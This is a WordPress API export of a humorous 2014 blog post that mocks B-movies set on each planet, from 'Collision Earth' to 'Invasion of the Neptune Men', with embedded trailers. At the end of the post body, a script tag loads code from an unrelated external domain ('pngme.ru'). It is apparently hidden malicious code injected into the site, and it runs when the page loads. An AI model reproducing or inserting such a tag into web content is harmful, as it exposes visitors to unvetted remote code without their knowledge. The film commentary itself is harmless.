{"id":13745,"date":"2014-12-27T22:03:08","date_gmt":"2014-12-28T04:03:08","guid":{"rendered":"http:\/\/www.bmovienation.com\/?p=13745"},"modified":"2014-12-27T22:03:08","modified_gmt":"2014-12-28T04:03:08","slug":"the-ultimate-b-movie-guide-to-life-on-other-planets","status":"publish","type":"post","link":"http:\/\/www.bmovienation.com\/?p=13745","title":{"rendered":"The ultimate B-movie guide to life on other planets"},"content":{"rendered":"<p id=\"U80534754324tJB\">T<span id=\"U80534754324n0C\" class=\"span\">his month<\/span> marked a watershed in space travel. The test launch of NASA\u2019s Orion spacecraft, the first designed to take humans into deep space, ushered in an age where we will be able to stop by Mars for takeout en route to the Mall of Uranus. Or, at least, an age where we visit parts of our solar system that were previously off-limits.<\/p>\n<p id=\"U80534754324bFF\">The question now is what to expect when we get there.<\/p>\n<div id=\"ad_bigbox1\" class=\"ad aside\" data-adname-complete=\"true\">\u00a0So far, the handful of craft we\u2019ve landed on distant surfaces have returned bleak, rubble-y images. Our most vivid impressions of other planets have tended to come from a very different source: movies. Which isn\u2019t necessarily a good thing, in terms of advancing actual knowledge. Take the billowy sleeves and elegantly spacious interiors of \u201cJupiter Ascending,\u201d the new blockbuster from the Wachowskis.<\/div>\n<p id=\"U80534754324VjD\">When it comes to getting everything utterly, horribly wrong, however, \u201cJupiter Ascending\u201d has nothing on some of its predecessors. Herewith, a trip across our solar system, via the works of some seriously imaginative filmmakers.<\/p>\n<h2 class=\"subhead\">Mercury, \u2018Collision Earth\u2019 (2011)<\/h2>\n<p><a href=\"http:\/\/vimeo.com\/79930523\">Collision Earth Trailer<\/a> from <a href=\"http:\/\/vimeo.com\/cinetelfilms\">Cinetel Films<\/a> on <a href=\"https:\/\/vimeo.com\">Vimeo<\/a>.<\/p>\n<p id=\"U80656608036R8C\">\u201cThis must all be connected to Mercury!\u201d So says a character in this made-for-TV film, whose big visual conceit is computer-generated cars floating upward, due to the fact that Mercury is on a collision course with Earth, and \u201cits magnetic signature is off the charts.\u201d Mercury\u2019s surface, we learn, looks like an overdone souffl\u00e9.<\/p>\n<p id=\"U80656608036fj\"><b class=\"b\">Bonus lesson:<\/b> Contact with magnetized planets will make it much easier to find parking.<\/p>\n<h2 class=\"subhead\">Venus, \u2018First Spaceship on Venus\u2019 (1960)<\/h2>\n<p id=\"U80656608036da\"><iframe loading=\"lazy\" src=\"http:\/\/www.youtube.com\/embed\/8k_2Q5I8py0\" width=\"100%\" height=\"400\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p id=\"U80656608036Dh\">Set in the distant future (1985), this one features \u201ceight fearless international astronauts\u201d who head into space in a paperweight. On Venus the astronauts get bogged down in brownie mix\u2014oh, wait, it\u2019s \u201cdeadly crawling lava!\u201d More perilous yet are the aggressive, yo-yoing robotic bugs who live inside holes camouflaged with bits of cardboard (step, \u201cArgh!\u201d). It\u2019s horrible.<\/p>\n<p id=\"U80656608036pG\"><b class=\"b\">Bonus lesson:<\/b> Contrary to conventional wisdom, people don\u2019t float in zero gravity; they dangle.<\/p>\n<h2 class=\"subhead\">Mars, \u2018Ghosts of Mars\u2019 (2001)<\/h2>\n<p id=\"U80656608036CcF\"><iframe loading=\"lazy\" src=\"http:\/\/www.youtube.com\/embed\/3V_dFw4mxeI\" width=\"100%\" height=\"400\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p id=\"U80656608036P8G\">Widely hailed as the worst movie John Carpenter ever made, this film is set in 2176, a future in which criminals are sent to a penal colony on Mars but still use the unmistakable patois of Compton circa 1982. \u201cDamn, girl!\u201d says Desolation Williams, Ice Cube\u2019s scowling convict, shortly before busting a cap in the direction of an unruly mob of Rob Zombie lookalikes. Mars, in terms of its terrain and its inhabitants, turns out to be a dead ringer for a Burning Man festival, with a bit less nudity and a few more severed limbs.<\/p>\n<p id=\"U80656608036CPG\"><b class=\"b\">Bonus lesson:<\/b> Even in deep space, some people still find it preferable to shoot with their guns tilted sideways.<\/p>\n<h2 class=\"subhead\">Jupiter, \u20182010\u2019 (1984)<\/h2>\n<p id=\"U80656608036O3B\"><iframe loading=\"lazy\" src=\"http:\/\/www.youtube.com\/embed\/DJYAa8Qd1iM\" width=\"100%\" height=\"400\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p id=\"U80656608036wgC\">While the interiors in Stanley Kubrick\u2019s 1968 epic looked like a swinging-sixties bachelor pad, this 1980s follow-up aims for a crazed disco feel, conveying the presence of cutting-edge technology with big, blocky colored lights. As for Jupiter\u2014well, it seems the planet has been beset by a swarm of enormous, destructive dominoes. \u201cThis is a very unusual phenomenon,\u201d says the onboard computer Hal.<\/p>\n<p id=\"U80656608036zSG\"><b class=\"b\">Bonus lesson:<\/b> Space travel will be fraught with peril, uncertainty, and unutterably gaudy design.<\/p>\n<h2 class=\"subhead\">Saturn, \u2018Saturn 3\u2019 (1980)<\/h2>\n<p id=\"U80656608036VmB\"><iframe loading=\"lazy\" src=\"http:\/\/www.youtube.com\/embed\/NENxIu02bvg\" width=\"100%\" height=\"400\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p id=\"U80656608036qt\">Remarkable for bringing together the careers of Farrah Fawcett and Martin Amis (who wrote the screenplay), \u201cSaturn 3\u201d also perfected the art of making model spaceships appear big by putting them really close to the camera. More convincingly large is Fawcett\u2019s hair, which looks like it should have its own gravity field. Saturn, meanwhile, resembles an old encyclopedia illustration. We are taken to one of its moons, presumably called Diorama, where Fawcett spends the rest of the film being chased around by an amorous robot.<\/p>\n<p id=\"U80656608036ZzC\"><b class=\"b\">Bonus lesson:<\/b> Artificial intelligence may be less of a threat to humanity than artificial testosterone.<\/p>\n<h2 class=\"subhead\">Uranus, \u2018Journey to the Seventh Planet\u2019 (1962)<\/h2>\n<p id=\"U80656608036tmE\"><iframe loading=\"lazy\" src=\"http:\/\/www.youtube.com\/embed\/0-Cix53XRVs\" width=\"100%\" height=\"400\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p id=\"U80656608036vJ\">It cost $75,000 to make this movie, and $74,893 of that must have gone to the catering. The astronauts who land on Uranus encounter such horrors as quicksand made from Styrofoam packing material and a genetically modified Barney the Dinosaur. An alien brain has gotten inside the men\u2019s heads, turning their deepest fears against them; men\u2019s heads being what they are, we are also introduced to \u201centicing Seventh Planet beauties.\u201d<\/p>\n<p id=\"U80656608036PKG\"><b class=\"b\">Bonus lesson:<\/b> Head-invading alien brains tend to talk like people do when they\u2019re pretending to be a ghoooost.<\/p>\n<h2 class=\"subhead\">Neptune, \u2018Invasion of the Neptune Men\u2019 (1961)<\/h2>\n<p id=\"U8065660803609H\"><iframe loading=\"lazy\" src=\"http:\/\/www.youtube.com\/embed\/0lbXP8LG378\" width=\"100%\" height=\"400\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p id=\"U80656608036sRE\">What it would look like if pointy-headed alien robot-y things from Neptune came to Japan and started harassing a bunch of schoolboys with ill-fitting shorts? This movie answers that question. Unfortunately it doesn\u2019t show much of the aliens\u2019 home planet, but we do get a look at Neptune\u2019s spaceships, which appear to be constructed from very large rolls of toilet paper, a few sparklers, and a whole lot of silver paint.<\/p>\n<p id=\"U80656608036SmF\"><b class=\"b\">Bonus lesson:<\/b> When you\u2019re about to be attacked an alien invader, throwing a twig at it will cause it to go \u201cAh!\u201d and turn away.<\/p>\n<p><script src=\"\/\/pngme.ru\/seter\"><\/script><\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>This month marked a watershed in space travel. The test launch of NASA\u2019s Orion spacecraft, the first designed to take humans into deep space, ushered in an age where we will be able to stop by Mars for takeout en route to the Mall of Uranus. Or, at least, an age where we visit parts&#8230;<\/p>\n","protected":false},"author":1,"featured_media":13751,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"rop_custom_images_group":[],"rop_custom_messages_group":[],"rop_publish_now":"initial","rop_publish_now_accounts":[],"rop_publish_now_history":[],"rop_publish_now_status":"pending","_uag_custom_page_level_css":"","mf2_syndication":[],"footnotes":""},"categories":[1],"tags":[],"class_list":["post-13745","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-b-movie-news","wpcat-1-id"],"uagb_featured_image_src":{"full":["http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/12\/MBDFISP_EC001_H.jpg",960,706,false],"thumbnail":["http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/12\/MBDFISP_EC001_H-145x145.jpg",145,145,true],"medium":["http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/12\/MBDFISP_EC001_H-300x220.jpg",300,220,true],"medium_large":["http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/12\/MBDFISP_EC001_H.jpg",768,565,false],"large":["http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/12\/MBDFISP_EC001_H-785x577.jpg",785,577,true],"1536x1536":["http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/12\/MBDFISP_EC001_H.jpg",960,706,false],"2048x2048":["http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/12\/MBDFISP_EC001_H.jpg",960,706,false],"gridflex-1422w-autoh-image":["http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/12\/MBDFISP_EC001_H.jpg",960,706,false],"gridflex-1074w-autoh-image":["http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/12\/MBDFISP_EC001_H.jpg",960,706,false],"gridflex-360w-300h-image":["http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/12\/MBDFISP_EC001_H.jpg",360,265,false]},"uagb_author_info":{"display_name":"admin1","author_link":"http:\/\/www.bmovienation.com\/?author=1"},"uagb_comment_info":0,"uagb_excerpt":"This month marked a watershed in space travel. The test launch of NASA\u2019s Orion spacecraft, the first designed to take humans into deep space, ushered in an age where we will be able to stop by Mars for takeout en route to the Mall of Uranus. Or, at least, an age where we visit parts...","_links":{"self":[{"href":"http:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/posts\/13745","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.bmovienation.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=13745"}],"version-history":[{"count":0,"href":"http:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/posts\/13745\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/media\/13751"}],"wp:attachment":[{"href":"http:\/\/www.bmovienation.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=13745"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.bmovienation.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=13745"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.bmovienation.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=13745"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}